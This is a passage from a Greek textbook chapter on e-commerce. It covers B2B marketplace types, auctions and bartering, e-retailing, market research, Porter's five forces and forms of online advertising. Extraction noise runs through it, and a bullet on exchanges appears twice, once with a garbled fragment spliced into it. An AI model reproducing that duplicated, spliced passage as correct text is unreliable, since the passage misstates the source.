Ηλεκτρονικές αγορές μεταξύ μίας προς μία ή μίας προς λίγες και μπορούν να διαχωριστούν τέλος σε τέσσερεις κατηγορίες με βάση το καθεστώς ιδιοκτησίας ή διαχείρισης των ηλεκτρονικών αγορών ως: o

Ανεξάρτητες ή τρίτης οντότητας, όπου αφορούν εκείνες τις ηλεκτρονικές αγορές που δημιουργούνται και ανήκουν σε μία ανεξάρτητη τρίτη επιχείρηση η οποία δεν είναι ούτε πωλητής ούτε αγοραστής και που συνήθως παρέχει στις

επιχειρήσεις

που

συμμετέχουν

ηλεκτρονικές

υπηρεσίες

αγοραπωλησιών, και αποτελούν την πλειοψηφία των ηλεκτρονικών αγορών. o

Κοινοπραξιών (consortia e-marketplaces), όπου αφορούν εκείνες που δημιουργούνται από μερικούς μεγάλους συμμετέχοντες πωλητές ή αγοραστές, οι οποίοι ενώνουν τις δυνάμεις τους με σκοπό να εξυπηρετήσουν τις εμπορικές τους ανάγκες, όπως για παράδειγμα ορισμένες μεγάλες αυτοκινητοβιομηχανίες όπου συνεργάζονται ηλεκτρονικά μεταξύ τους αλλά και με προμηθευτές από όλο τον κόσμο.

o

Εταιρικές, όπου μία και μόνο επιχείρηση δημιουργεί μία ηλεκτρονική αγορά για να μπορέσει να ολοκληρώσει ηλεκτρονικά τις συναλλαγές της είτε με τους πελάτες της είτε με τους προμηθευτές της.

Με βάση την ευκολία εισόδου των συμμετεχόντων σε δημόσιες ή ιδιωτικές αγορές, όπου στις δημόσιες ή ανοιχτές αγορές η συμμετοχή είναι ανοιχτή προς όλες τις ενδιαφερόμενες επιχειρήσεις, ενώ στις ιδιωτικές ή κλειστές μπορούν και συμμετέχουν μόνο κλειστές ομάδες επιχειρήσεων. ∆ημόσιες είναι σχεδόν όλες οι ανεξάρτητες αγορές, ενώ ιδιωτικές είναι συνήθως οι εταιρικές και οι αγορές κοινοπραξιών.

Σχετικά με τις συναλλαγές του Β2Β ηλεκτρονικού εμπορίου, υπάρχουν ορισμένοι τύποι με τους οποίους μπορούμε να τις διαχωρίσουμε. Οι βασικοί τύποι συναλλαγών Β2Β είναι οι εξής: •

Στην πλευρά του πωλητή ή προμηθευτή, όπου οι δραστηριότητες εστιάζονται στις ανάγκες των πωλήσεων (ένας προς πολλούς), δηλαδή οι προμηθευτές οι οποίοι δραστηριοποιούνται σε αγορές μικρού μεγέθους είναι αυτοί οι οποίοι και κατευθύνουν τις συναλλαγές.

•

Ένας άλλος τύπος είναι αυτός στην πλευρά του αγοραστή, όπου εστιάζονται στις ανάγκες των αγορών (πολλοί προς ένα). Αξίζει ακόμα να αναφερθεί πως πολλοί αγοραστές συνεργάζονται μεταξύ τους χρησιμοποιώντας τις δυνατότητες που προσφέρει η τεχνολογία και έτσι φτιάχνουν κάποια δίκτυα συναλλαγών όπου και κάνουν τις διάφορες αγορές τους, με σκοπό να μπορούν να ολοκληρώνουν τις συναλλαγές τους γρηγορότερα, να μειώσουν το κόστος προμηθειών και τέλος να καταφέρουν να διασφαλίσουν μία μειωμένη αλλά και ενιαία τιμή στα προϊόντα που τους ενδιαφέρουν.

•

Ένας ακόμα τύπος είναι τα ανταλλακτήρια όπου είναι ηλεκτρονικές αγορές όπου συμμετέχουν πολλοί αγοραστές και πολλοί πωλητές.  Βελτιώσεις αλυσίδας προμηθειών και συνεργατικό εμπόριο, που έχει να κάνει τόσο με την καλύτερη συνεργασία της εταιρίας με τους προμηθευτές, όσον αφορά τα υλικά, όσο και με την επεξεργασία των προϊόντων και των υπηρεσιών αλλά και με τη συσκευασία, την προϊόντα που τους ενδιαφέρουν.

•

Ένας ακόμα τύπος είναι τα ανταλλακτήρια όπου είναι ηλεκτρονικές αγορές όπου συμμετέχουν πολλοί αγοραστές και πολλοί πωλητές.  Βελτιώσεις αλυσίδας προμηθειών και συνεργατικό εμπόριο, που έχει να κάνει τόσο με την καλύτερη συνεργασία της εταιρίας με τους προμηθευτές, όσον αφορά τα υλικά, όσο και με την επεξεργασία των προϊόντων και των υπηρεσιών αλλά και με τη συσκευασία.

Ένας κύριος μηχανισμός για την αγορά και την πώληση στο διαδίκτυο είναι ο ηλεκτρονικός κατάλογος. Ο ηλεκτρονικός κατάλογος είναι μια ψηφιακή λίστα με προϊόντα ή/και υπηρεσίες, που προσφέρονται στους πελάτες για αγορά. Υπάρχουν δύο προσεγγίσεις που χρησιμοποιούνται στην υλοποίησή του, οι ηλεκτρονικές δημοπρασίες και το ηλεκτρονικό παζάρι (e-bartering) (Εικόνα 3.3). Μπορούμε να διακρίνουμε διαφόρων ειδών δημοπρασίες, με κυριότερες τις ακόλουθες: • Ηλεκτρονικές δημοπρασίες, με τις οποίες οι πωλητές τοποθετούν προσφορές για τα προϊόντα τους και οι αγοραστές κάνουν διαδοχικές προτάσεις αγοράς (π.χ. e-bay.com).

• Προωθητικές δημοπρασίες (forward auctions), στις οποίες οι πωλητές χρησιμοποιούν ένα κανάλι πώλησης για·πολλούς πιθανούς αγοραστές (π.χ. marketdojo.com). Τα προϊόντα τοποθετούνται σε ιστοχώρους προς δημοπρασία και οι αγοραστές κάνουν συνεχώς προσφορές για αυτά. Υπάρχουν δύο τύποι προωθητικών δημοπρασιών, η δημοπρασία εκκαθάρισης (liquidate auction), κατά την οποία·οι αγοραστές προσπαθούν να αγοράσουν στη χαμηλότερη τιμή, και η δημοπρασία αποτελεσματικού μάρκετινγκ (marketing efficiency auction), κατά την οποία το αντικείμενο που καλούνται να αγοράσουν οι αγοραστές είναι μοναδικό και στόχος τους είναι η απόκτησή του·με κάθε τρόπο. Σε σχέση με τις ηλεκτρονικές δημοπρασίες, ο πρώτος τύπος ευνοεί περισσότερο τους αγοραστές, ενώ ο δεύτερος τους πωλητές. • Αντίστροφες δημοπρασίες (reverse auctions), στις οποίες ένας αγοραστής, συνήθως μια επιχείρηση ή ένας·οργανισμός, θέλει να αγοράσει ένα προϊόν ή μια υπηρεσία. Οι υποψήφιοι προμηθευτές καλούνται να υποβάλουν προσφορές, ώστε να κερδίσει ο φθηνότερος

Οι ηλεκτρονικές δημοπρασίες χρησιμοποιούνται σε πολλά μοντέλα του ηλεκτρονικού εμπορίου, όπως είναι τα μοντέλα Επιχείρηση προς Καταναλωτή, Καταναλωτή προς Επιχείρηση, Καταναλωτή προς Καταναλωτή και Επιχείρηση προς Επιχείρηση. Το ηλεκτρονικό παζάρι είναι μια ανταλλαγή αγαθών και υπηρεσιών χωρίς τη χρήση νομισματικών συναλλαγών και ισοτιμιών. Παραδείγματα είναι το εταιρικό ηλεκτρονικό παζάρι (π.χ. barterbrokers.com) και το ηλεκτρονικό παζάρι από Καταναλωτή προς Καταναλωτή (π.χ. u-exchange.com). Τα τελευταία χρόνια, η αγορά αγαθών από το σπίτι

και η αγορά προϊόντων μέσω

τηλεοπτικών καναλιών γνωρίζουν αξιοσημείωτη άνθηση. Εντούτοις, αυτές οι μέθοδοι πώλησης παρουσιάζουν ·κάποια μειονεκτήματα. Συγκεκριμένα, μπορεί να έχουν υψηλό κόστος και να βασίζονται σε καταλόγους που ενδέχεται να μην είναι ενημερωμένοι, καθώς

έχουν συνήθως έντυπη μορφή. Τέλος, οι αγορές από την τηλεόραση περιορίζονται μόνο σε ό,τι εμφανίζεται στην οθόνη, δηλαδή δεν υπάρχει η δυνατότητα περαιτέρω αναζήτησης. Τα παραπάνω μειονεκτήματα στην αγορά αγαθών ξεπερνιούνται από την ηλεκτρονική λιανική πώληση (e-retailing), με την άμεση πώληση προϊόντων μέσω ηλεκτρονικών προθηκών ή ηλεκτρονικών εμπορικών κέντρων, που βασίζονται συνήθως σε ηλεκτρονικούς καταλόγους ή ηλεκτρονικές δημοπρασίες. Η ηλεκτρονική λιανική πώληση είναι η πώληση αγαθών και υπηρεσιών σε ιδιώτες πελάτες. Παρακάτω παρουσιάζονται τα σημαντικότερα ζητήματα που πρέπει να αντιμετωπίζονται από όσους εμπόρους λιανικής δραστηριοποιούνται στο διαδίκτυο: • Η επίλυση συγκρούσεων μεταξύ των καναλιών διανομής των προϊόντων. Τα κανάλια διανομής μιας επιχείρησης μπορεί να ανταγωνίζονται μεταξύ τους, αλλά και με την ίδια την επιχείρηση, εάν ο σχεδιασμός τους δεν είναι στρατηγικά σωστός. • Η επίλυση συγκρούσεων εντός εταιρειών με ηλεκτρονική και φυσική παρουσία. Η πώληση αγαθών ή υπηρεσιών διαδικτυακά μπορεί να δημιουργήσει σύγκρουση στο πλαίσιο των υφιστάμενων δραστηριοτήτων μιας επιχείρησης, όπως είναι η τιμολόγηση, οι παρεχόμενες υπηρεσίες, η κατανομή των πόρων και η υλικοτεχνική υποστήριξη. • Η οργάνωση των παραγγελιών, από τη λήψη έως τη διεκπεραίωση, καθώς και του εταιρικού εφοδιασμού. • Ο προσδιορισμός της βιωσιμότητάς τους. Υπάρχουν παραδείγματα στα οποία η βιωσιμότητα των διαδικτυακών εμπόρων λιανικής (e-retailers) αποδείχθηκε προβληματική, ενώ χάθηκαν χρήματα και επενδύσεις. • Ο προσδιορισμός των κατάλληλων μοντέλων εσόδων. Το επιχειρηματικό μοντέλο θα πρέπει να προβλέπει τον τρόπο επένδυσης και το ύψος των προσδοκώμενων εσόδων, ώστε να μπορεί να δικαιολογηθεί η επένδυση. Σημαντική τάση στο ηλεκτρονικό εμπόριο αποτελεί η πώληση (παροχή) υπηρεσιών μέσω διαδικτύου με τη δημιουργία τομέων παροχής υπηρεσιών (service industries). Ένας τέτοιος τομέας μπορεί να μειώσει σημαντικά το κόστος λειτουργίας των επιχειρήσεων. Χαρακτηριστικά παραδείγματα είναι: • Η ηλεκτρονική τραπεζική (e-banking), η οποία περιλαμβάνει διάφορες τραπεζικές εργασίες που διεξάγονται από το σπίτι ή την επιχείρηση, χωρίς να απαιτείται φυσική παρουσία σε κάποιο κατάστημα τραπέζης. Η διεθνής ηλεκτρονική τραπεζική δίνει τη δυνατότητα χειρισμού συναλλαγών σε πολλαπλά νομίσματα, αλλά και μεταφορών ηλεκτρονικού χρήματος (e-cash) σε παγκόσμια κλίμακα.

• Οι ηλεκτρονικές υπηρεσίες αγοράς εργασίας, για την αναζήτηση εργασίας και εργαζομένων από τις επιχειρήσεις (π.χ kariera.gr). • Οι ηλεκτρονικές ταξιδιωτικές υπηρεσίες, για την οργάνωση ταξιδιών ή/και την εύρεση αεροπορικών εισιτηρίων και ξενοδοχείων (π.χ. booking.com). • Οι ηλεκτρονικές υπηρεσίες κτηματομεσιτικής (real estate), ·για τη διευκόλυνση των κτηματομεσιτικών συναλλαγών (π.χ. spitogatos.gr). • Οι ηλεκτρονικές υπηρεσίες υγείας, για συµβουλευτικές υπηρεσίες ιατρικής περίθαλψης και πρώτων βοηθειών (π.χ. ika.gr). • Οι ηλεκτρονικές υπηρεσίες εµπορίας αξιών (securities trading), στο πλαίσιο των οποίων οι επενδυτές µπορούν να·βρουν πολλές πληροφορίες σχετικά µε µια επιχείρηση ή ένα αμοιβαίο κεφάλαιο (π.χ. Piraeus Securities). Έρευνα αγοράς Σε αυτή την ενότητα εστιάζουμε την προσοχή μας σε ένα σημαντικό θέμα για την επιτυχή διεξαγωγή και προώθηση του ηλεκτρονικού εμπορίου, την έρευνα αγοράς. Πράγματι, το ηλεκτρονικό εμπόριο, σε όσο καλά πληροφοριακά συστήματα και να βασίζεται, δεν μπορεί να πραγματοποιηθεί χωρίς πελάτες, χωρίς χρήστες σε αυτό, ιδίως όσον αφορά το μοντέλο Επιχείρηση προς Καταναλωτή. Η πληροφορία και η γνώση για τα πρότυπα συμπεριφοράς των πελατών και των εν δυνάμει πελατών της επιχείρησης είναι πάρα πολύ σημαντικές, γιατί σε αυτές βασίζεται η μέθοδος προσέκλυσης πελατών, δηλαδή η διαφήμιση και το μάρκετινγκ. Μέσω της έρευνας αγοράς, οι καταναλωτές κατηγοριοποιούνται σε ομάδες βάσει ορισμένων κοινών χαρακτηριστικών τους, όπως είναι η ηλικία, το φύλο ή η εθνικότητα, δημιουργώντας έτσι τμηματοποίηση της αγοράς (market segmentation) και δίνοντας τη δυνατότητα στις επιχειρήσεις για πιο στοχευόμενο μάρκετινγκ (targeted marketing). Η ανάπτυξη προτύπων, με βάση τα οποία ερμηνεύεται η συμπεριφορά των καταναλωτών, βοηθά τις επιχειρήσεις να καταλάβουν πώς αυτοί αποφασίζουν να αγοράσουν ένα προϊόν ή μια υπηρεσία. Η κατανόηση της διαδικασίας λήψης απόφασης των καταναλωτών βοηθά τις επιχειρήσεις να επηρεάσουν την απόφασή τους, όπως με ειδικές προσφορές ή διαφημίσεις (εξατομικευμένες ή πιο γενικευμένες). Έχουν αναπτυχθεί αρκετά μοντέλα, σε μια προσπάθεια να περιγραφούν οι λεπτομέρειες της διαδικασίας λήψης αποφάσεων που ακολουθούν οι καταναλωτές για την πραγμάτωση μιας αγοράς. Τα βασικά βήματα που ακολουθούν συνήθως είναι τα εξής: • Η αναγνώριση της ανάγκης, δηλαδή η συνειδητοποίηση της ανάγκης, που συνιστά το αρχικό στάδιο της διαδικασίας της αγοραστικής απόφασης. Η ανάγκη αυτή μπορεί να προκύπτει είτε

από φυσιολογικά αίτια (πείνα, δίψα, διασκέδαση) είτε από κάποιο απρόοπτο γεγονός (αντικατάσταση συσκευής λόγω βλάβης). • Η αναζήτηση των σχετικών πληροφοριών και χαρακτηριστικών, η οποία μπορεί να είναι είτε ενεργητική (άμεση αναζήτηση μέσω διαδικτύου, τηλεφώνου κτλ.) είτε παθητική (αναμονή για επανάληψη κάποιας διαφήμισης στην τηλεόραση). • Η αξιολόγηση των εναλλακτικών λύσεων αγοράς, κατά την οποία αξιολογούνται οι εναλλακτικές δυνατότητες που έχει στη διάθεσή του ο αγοραστής (βάσει των πληροφοριών που έχει συγκεντρώσει), για την ικανοποίηση της αναγνωρισθείσας ανάγκης. • Η πραγματοποίηση της αγοράς, δηλαδή η λήψη της οριστικής απόφασης και της πραγματοποίησης των τελικών ενεργειών για την απόκτηση του προϊόντος ή της υπηρεσίας που καλύπτει την αναγνωρισθείσα ανάγκη. • Η μετά την αγορά αξιολόγηση του προϊόντος ή της υπηρεσίας, δηλαδή η αναγνώριση του βαθμού ικανοποίησης που αποκομίζει ο αγοραστής του προϊόντος ή της υπηρεσίας. Έτσι, η γνώση της συμπεριφοράς των καταναλωτών οδηγεί τις επιχειρήσεις να αποφασίσουν πώς και πού θα προωθήσουν τα προϊόντα και τις υπηρεσίες τους, και μέσα από ποια κανάλια, ποιες στρατηγικές μάρκετινγκ και ποιες διαφημιστικές καμπάνιες. Αυτό ίσχυε στην παραδοσιακή οικονομία, αλλά συνεχίζει να ισχύει και στην ψηφιακή οικονομία. Βασική διαφορά τους είναι ο τρόπος με τον οποίο διεξάγεται η έρευνα αγοράς και βασική τους ομοιότητα είναι η επιδίωξη της γνώσης της συμπεριφοράς των καταναλωτών. Η συμπεριφορά των καταναλωτών αναλύεται πολύ κατατοπιστικά από το μοντέλο των πέντε δυνάμεων του καθηγητή στο Πανεπιστήμιο του Χάρβαρντ Michael E. Porter. Η ανάλυση αυτή, γνωστή ως Ανάλυση των Πέντε Δυνάμεων του Πόρτερ (Porter’s Five Forces Analysis), πραγματοποιήθηκε το 1978, όταν δεν υπήρχε ακόμη η έννοια της ηλεκτρονικής αγοράς. Στη συνέχεια, θα δοθούν οι ορισμοί για τις πέντε δυνάμεις της αγοράς που περιγράφει ο Porter στο μοντέλο του και·θα γίνει μια σύντομη ανάλυση σχετικά με τη δυνατότητα και τον τρόπο εφαρμογής της καθεμίας από αυτές στο ηλεκτρονικό εμπόριο. Αναλυτικά, οι πέντε δυνάμεις του Porter είναι οι εξής: 1η δύναμη: Αντιπαλότητα μεταξύ υπάρχοντων ανταγωνιστών (rivalry among existing competitors). Καθημερινά, οι ανταγωνιστές προσπαθούν σε οποιονδήποτε τομέα να υπερτερήσουν των ανταγωνιστών τους. Στους τρόπους τους οποίους χρησιμοποιούν περιλαμβάνονται η μείωση των τιμών, η βελτίωση των προϊόντων, η ενίσχυση της επωνυμίας, η αποτελεσματικότερη διανομή και η καλύτερη εξυπηρέτηση των πελατών. Σε μια έντονα ανταγωνιστική·βιομηχανία είναι πολύ δύσκολο μια επιχείρηση να διατηρεί συνεχώς το πλεονέκτημα. Ο υφιστάμενος ανταγωνισμός είναι γενικά εντονότερος όταν:

• η ζήτηση αυξάνεται με·χαμηλούς ρυθμούς, • ο αριθμός των ανταγωνιστών αυξάνεται, • τα προϊόντα των·ανταγωνιστών είναι πανομοιότυπα μεταξύ τους ή διαφοροποιούνται ελάχιστα, • το κόστος αλλαγής·για τους πελάτες είναι μικρό και • τα εμπόδια εξόδου είναι υψηλά. Η ανάλυση της συγκεκριμένης·δύναμης στο ηλεκτρονικό εμπόριο, όπως και σε άλλους τομείς του εμπορίου, είναι ζωτικής σημασίας για την αξιολόγηση του ανταγωνισμού στην αγοράστόχο. Τα αποτελέσματα της·ανάλυσης μπορεί να οδηγήσουν στην επιλογή των σχετικών επιχειρηματικών μοντέλων·στο ηλεκτρονικό εμπόριο και στην επιλογή των κατάλληλων στρατηγικών μάρκετινγκ. 2η δύναμη: Διαπραγματευτική ισχύς προμηθευτών (bargaining power of suppliers). Αφορά τη δυνατότητα των·προμηθευτών να αυξήσουν τις τιμές τους ή να μειώσουν την ποιότητα των προϊόντων τους, με αποτέλεσμα την άμεση επίδραση της κερδοφορίας της βιομηχανίας, εάν η αύξηση·αυτή δεν μπορεί να περάσει στους καταναλωτές. Η διαπραγματευτική δύναμη·των προμηθευτών εντείνεται όταν: • ο αριθμός των προμηθευτών είναι μικρός, • η αλλαγή προμηθευτών·κοστίζει στις επιχειρήσεις, • η προσφορά των προϊόντων των προμηθευτών είναι μικρή, • δεν υπάρχουν υποκατάστατα για ανταγωνισμό, • το προϊόν κάποιου·προμηθευτή είναι πολύ διαφοροποιημένο, • οι αγοραστές-επιχειρήσεις δεν είναι σημαντικοί πελάτες και • οι προμηθευτές έχουν·καλή φήμη στην αγορά και, άρα, αυξανόμενη ζήτηση. Στο ηλεκτρονικό εμπόριο, η αύξηση της διαπραγματευτικής δύναμης των προμηθευτών είναι επίσης σοβαρή απειλή·για τις επιχειρήσεις. Στον εικονικό χώρο όμως, επειδή η σχέση με τους προμηθευτές είναι ευκολότερη, η αποκλειστική σχέση με τους προμηθευτές μπορεί να ρυθμιστεί και να περιοριστεί. 3η δύναμη: Απειλή από νεοεισερχομένους (threat of new entry). Η σοβαρότητα μιας απειλής εξαιτίας της εισόδου·ενός νέου ανταγωνιστή εξαρτάται από τους εξής δύο παράγοντες: α) από τα εμπόδια εισόδου, τα οποία μπορεί να είναι: • η ανικανότητα·πρόσβασης σε εξειδικευμένη τεχνολογία, • οι ισχυρές προτιμήσεις για συγκεκριμένη μάρκα και η αφοσίωση των πελατών, • η πρόσβαση σε κανάλια διανομής,

• οι νομοθετικές πολιτικές/περιορισμοί, • οι κεφαλαιουχικές απαιτήσεις και άλλες εξειδικευμένες απαιτήσεις σε πόρους, • η ύπαρξη οικονομιών κλίμακας και • η εμπιστοσύνη στο εμπορικό σήμα (brand loyalty), β) από τις αντιδράσεις των υφιστάμενων επιχειρήσεων προς τους πιθανούς εισερχομένους. Η εύκολη είσοδος·σε έναν τομέα από νεοεισερχομένους θεωρείται σοβαρή απειλή για τους ήδη υπάρχοντες και μπορεί να επηρεάσει δυσμενώς την απόδοση των επιχειρήσεων σε διάφορους τομείς. Φαίνεται ότι στο χώρο του διαδικτύου (σε σύγκριση με μια παραδοσιακή επιχείρηση), οι επιπτώσεις αυτής της απειλής είναι ακόμα μεγαλύτερες, καθώς οι νέες επιχειρήσεις·μπορούν να ενταχθούν στον επιχειρηματικό χώρο ευκολότερα. 4η δύναμη: Απειλή από υποκατάστατα προϊόντα (threat of substitutes). Η ύπαρξη υποκατάστατων προϊόντων δηλώνει·την ύπαρξη ενός ορίου στις τιμές που μπορούν να θέσουν οι επιχειρήσεις προτού οι καταναλωτές στραφούν προς αυτά. Οι ποσοτικοί και ποιοτικοί παράγοντες που·καθορίζουν την ανταγωνιστικότητα στο ηλεκτρονικό εμπόριο είναι πολύ σημαντικοί. Οι πελάτες μπορούν να επιλέξουν ανταγωνιστές για διάφορους λόγους, όπως η μείωση των τιμών ή οι καλύτεροι όροι αγοράς. Η ευκολία πρόσβασης σε ευαίσθητες πληροφορίες·στο ηλεκτρονικό εμπόριο καθιστά αυτήν τη δύναμη περισσότερο σημαντική από τις άλλες τέσσερις. 5η δύναμη: Διαπραγματευτική ισχύς πελατών (bargaining power of customers). Οι πελάτες είναι η πιο συνήθης·ανταγωνιστική δύναμη, καθώς πιέζουν τη βιομηχανία να μειώσει τις τιμές ή/και να αυξήσει·την ποιότητα των προϊόντων της. Η διαπραγματευτική δύναμη των πελατών είναι εντονότερη όταν: • το κόστος αλλαγής σε·ανταγωνιστικά εμπορικά σήματα ή υποκατάστατα είναι χαμηλό, • οι αγοραστές αγοράζουν·μεγάλες ποσότητες με αντάλλαγμα διαφόρων τυπών ευκολίες, • η αγορά μεγάλης ποσότητας από τους αγοραστές είναι σημαντική για τους πωλητές, • η ζήτηση είναι χαμηλή, • οι αγοραστές είναι λίγοι, • οι αγοραστές έχουν τη·δυνατότητα να αναβάλουν την αγορά τους, • οι αγοραστές απαιτούν καινοτόμα προϊόντα και • οι αγοραστές είναι ευχαριστημένοι από την εξυπηρέτηση ή λαμβάνουν εγγυήσεις. Στο ηλεκτρονικό εμπόριο, παράγοντες όπως η ευκολία πρόσβασης, η πληροφόρηση υψηλού επιπέδου και η αύξηση·του αριθμού των προμηθευτών έχουν οδηγήσει στην ανάγκη να μελετηθούν και να·αναπτυχθούν πιο κατάλληλες στρατηγικές για την αντιμετώπιση του συγκεκριμένου προβλήματος.

Η διεξαγωγή μιας έρευνας αγοράς γίνεται προκειμένου να ανακαλυφθεί τι θέλουν πραγματικά οι καταναλωτές/πελάτες. Υπάρχουν δύο βασικές προσεγγίσεις για τη διεξαγωγή· μιας έρευνας αγοράς στο χώρο του διαδικτύου: είτε ρωτώντας τους πελάτες τι θέλουν είτε· παρατηρώντας τη συμπεριφορά τους στον παγκόσμιο ιστό. Ειδικότερα: • Ρωτώντας άμεσα τους πελάτες τι θέλουν. Η τεχνική αυτή απαιτεί αλληλεπίδραση με τους· υπάρχοντες ή με τους εν δυνάμει πελάτες. Μια εύκολη και γρήγορη μέθοδος είναι η συμπλήρωση ερωτηματολογίων από τους πελάτες. Για να κατασκευαστεί σωστά ένα· ερωτηματολόγιο και να είναι δυνατόν να παραγάγει αληθή αποτελέσματα, πρέπει να ακολουθηθεί συγκεκριμένη μεθοδολογία, η οποία να περιλαμβάνει μια σειρά από βήματα, όπως την περιγραφή του προβλήματος, την αποσαφήνιση του εννοιολογικού περιεχομένου· του και την ανάλυση του σκοπού. • Παρατηρώντας τη συμπεριφορά των πελατών στον παγκόσμιο ιστό. Ο παγκόσμιος ιστός· είναι μια πλούσια πηγή πληροφοριών. Με τεχνικές επιχειρηματικής ευφυΐας (business intelligence), μπορεί να προκύψουν μέσα από τις ιστοσελίδες της ίδιας της επιχείρησης ή· συνεργαζόμενων με αυτήν ιστοχώρων πρότυπα συμπεριφοράς των διαδικτυακών χρηστών.

Γι’ αυτόν το σκοπό, χρησιμοποιούνται κατάλληλα εργαλεία, όπως είναι οι πράκτορες· λογισμικού (software agents). Πιο συγκεκριμένα, η παρατήρηση του χώρου δράσης του καταναλωτή (π.χ. των πελατών μιας επιχείρησης και των ενεργειών τους στο διαδίκτυο) είναι· μια διαδικασία που επιτρέπει στον ερευνητή να αντλήσει πληροφορίες και δεδομένα. Ο ερευνητής καταγράφει τις παρατηρήσεις του και στη συνέχεια τις επεξεργάζεται και τις· ερμηνεύει. Η τεχνική αυτή θεωρείται μία από τις πιο ποιοτικές τεχνικές συλλογής δεδομένων· στην έρευνα αγοράς, καθώς μπορεί να συνδυαστεί αποτελεσματικά και με τις άλλες τεχνικές. Διαφήμιση είναι η διάδοση πληροφοριών, με στόχο να επηρεαστεί η απόφαση ενός καταναλωτή και, εντέλει, η συναλλαγή μεταξύ αγοραστή και πωλητή. Σε αντίθεση με την· παραδοσιακή διαφήμιση, στην τηλεόραση ή στις εφημερίδες, που έχει τα χαρακτηριστικά του απρόσωπου και της μαζικής επικοινωνίας, η διαφήμιση στο διαδίκτυο είναι πλούσια σε· χρησιμοποιούμενα μορφότυπα, διαδραστική (interactive), αρκετές φορές εξατομικευμένη (personalized) και πολύ πιο δυναμική. Οι πιο γνωστές διαδικτυακές μέθοδοι διαφήμισης· είναι οι ηλεκτρονικές πινακίδες (banners), οι αναδυόμενες/καταδυόμενες διαφημίσεις (popup/popunder ads), οι ενδιάμεσες διαφημίσεις, το μάρκετινγκ μηχανών αναζήτησης (Search· Engine Marketing/SEM), οι διαφημίσεις στα κοινωνικά δίκτυα και το ηλεκτρονικό· ταχυδρομείο (email). Οι ηλεκτρονικές πινακίδες είναι η πιο συχνά χρησιμοποιούμενη μορφή διαφήμισης στο· διαδίκτυο. Διακρίνονται σε: •

πινακίδες λέξεων κλειδιών (keyword banners), τα οποία εμφανίζονται όταν μια· προκαθορισμένη λέξη δίνεται σε μια μηχανή αναζήτησης,

•

o τυχαίες πινακίδες (random banners), τα οποία εμφανίζονται με κάποια τυχαιότητα,

•

πινακίδες τεχνασμάτων (trick· banners), τα οποία μιμούνται ορισμένα στοιχεία της οθόνης που συναντούν συνήθως οι χρήστες, όπως ένα μήνυμα του λειτουργικού συστήματος, ώστε να κερδίσουν επισκέψεις,

•

Οι αναδυόμενες διαφημίσεις εμφανίζονται μπροστά από το τρέχον παράθυρο του· προγράμματος περιήγησης (Εικόνα 3.6) και οι καταδυόμενες διαφημίσεις εμφανίζονται κάτω· από το ενεργό παράθυρο,

•

Οι ενδιάμεσες διαφημίσεις εμφανίζονται πριν ο χρήστης μπορέσει να προσπελάσει το ζητούμενο περιεχόμενο, καθώς βρίσκεται, ορισμένες φορές, σε· αναμονή για τη φόρτωση του περιεχομένου.

• Το μάρκετινγκ μηχανών αναζήτησης έχει σχεδιαστεί για να αυξήσει την προβολή μιας ·ιστοσελίδας στις σελίδες αποτελεσμάτων των μηχανών αναζήτησης. Οι μηχανές αναζήτησης παρέχουν χορηγούμενα αποτελέσματα και μη χορηγούμενα αποτελέσματα, με βάση το· ερώτημα του χρήστη. Χρησιμοποιούν συχνά οπτικές ενδείξεις, για να διαφοροποιήσουν τα χορηγούμενα αποτελέσματα από τα μη χορηγούμενα αποτελέσματα. Συγκεκριμένα, οι δύο· τεχνικές μάρκετινγκ μηχανών αναζήτησης είναι οι εξής: 1. Η βελτιστοποίηση μηχανών αναζήτησης (Search Engine Optimization/SEO), η οποία· προσπαθεί να βελτιώσει την οργανική κατάταξη αναζήτησης μιας ιστοσελίδας στις σελίδες αποτελεσμάτων των μηχανών αναζήτησης, αυξάνοντας τη σχέση του περιεχομένου της με· τους όρους της αναζήτησης. 2. Η χορηγούμενη αναζήτηση (Sponsored Search), η οποία επιτρέπει στους διαφημιζόμενους· να συμπεριλαμβάνονται στα χορηγούμενα αποτελέσματα μιας αναζήτησης για επιλεγμένες λέξεις-κλειδιά. Οι χορηγούμενες αναζητήσεις πωλούνται συχνά μέσω πλειστηριασμών σε· πραγματικό χρόνο. •

Οι βασισμένες στο ηλεκτρονικό ταχυδρομείο διαφημίσεις χρησιμοποιούνται σε τέτοιο βαθμό ώστε κάποιες φορές μπορεί να καταστούν ενοχλητικές, συχνά μάλιστα· χαρακτηρίζονται ανεπιθύμητα ηλεκτρονικά μηνύματα (spams).

•

Οι ηλεκτρονικού κατάλογοι και τα ηλεκτρονικά φυλλάδια.

Άλλες μορφές διαφήμισης είναι: •

Η αποστολή ανεπιθύμητων διαφημιστικών ηλεκτρονικών μηνυμάτων (spamming), η οποία· σε αρκετές χώρες διώκεται ποινικά.

•

Το μάρκετινγκ ύστερα από άδεια (permission marketing), το αντίθετο του επιθετικού· μάρκετινγκ (interruption marketing), δηλαδή δεν διακόπτει τον πελάτη με ανεπιθύμητες πληροφορίες, αλλά, αντίθετα, στοχεύει στην πώληση αγαθών και υπηρεσιών μόνο όταν ο· ίδιος δώσει τη συγκατάθεσή του εκ των προτέρων, για να λάβει πληροφορίες μάρκετινγκ.

•

Το

ιογενές

μάρκετινγκ

(viral

marketing),

στο

οποίο

χρησιμοποιούνται

προϋπάρχουσες· υπηρεσίες κοινωνικής δικτύωσης και άλλες τεχνολογίες, με στόχο, για παράδειγμα, την αύξηση της αναγνωσιμότητας διαφόρων προϊόντων ή τις πωλήσεις προϊόντων, μέσω· αυτοαναπαραγόμενων ιογενών διαδικασιών, ανάλογων με την εξάπλωση των ιών ή των ιών υπολογιστών. •

Η διαδραστική διαφήμιση (interactive advertising), στην οποία χρησιμοποιούνται διαδικτυακά ή κλασικά (online ή offline) διαδραστικά μέσα, με στόχο την επικοινωνία με τους· καταναλωτές, για την προώθηση προϊόντων, εμπορικών σημάτων, υπηρεσιών και· ανακοινώσεων δημόσιων υπηρεσιών.

•

Οι διαδικτυακές προσφορές, ένα επιχειρηματικό μοντέλο ηλεκτρονικού εμπορίου, στο· οποίο ένας ιστοχώρος προσφέρει ένα προϊόν προς πώληση σε χαμηλή τιμή, μόνο για συγκεκριμένο χρονικό διάστημα. Οι πιθανοί πελάτες εγγράφονται στον συγκεκριμένο· ιστοχώρο και λαμβάνουν ηλεκτρονικά προσφορές και προσκλήσεις μέσω ηλεκτρονικού· ταχυδρομείου ή κοινωνικών δικτύων.

•

